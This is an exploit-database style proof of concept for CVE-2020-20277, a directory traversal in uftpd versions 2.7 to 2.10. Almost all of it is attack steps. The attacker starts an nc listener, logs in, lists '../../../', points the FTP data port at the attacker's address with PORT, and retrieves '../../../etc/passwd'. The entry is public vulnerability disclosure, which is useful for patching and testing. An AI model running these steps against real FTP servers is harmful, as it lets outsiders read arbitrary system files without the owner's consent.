uftpd 2.10 Directory Traversal

# Exploit Title: uftpd 2.10 – Directory Traversal (Authenticated)
# Google Dork: N/A
# Exploit Author: Aaron Esau (arinerron)
# Vendor Homepage: https://github.com/troglobit/uftpd
# Software Link: https://github.com/troglobit/uftpd
# Version: 2.7 to 2.10
# Tested on: Linux
# CVE : CVE-2020-20277
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-20277
# Reference: https://arinerron.com/blog/posts/6
#Product: uftpd 2.7 to 2.10

#Proof-Of-Concept:
1-Arbitrary files could be read using directory traversal if the application is not running as root after authenticating. If the server has anonymous login enabled, it will be possible to read arbitrary files even without authentication.

#Steps
1-Setup nc listener on attacking machine on TCP port 1258
nc -lnvp 1258

2-Login to the FTP service

3-List files
ftp> ls ../../../

3-Set attacker’s IP address and retrieve files
PORT 127,0,0,1,1,1002
RETR ../../../etc/passwd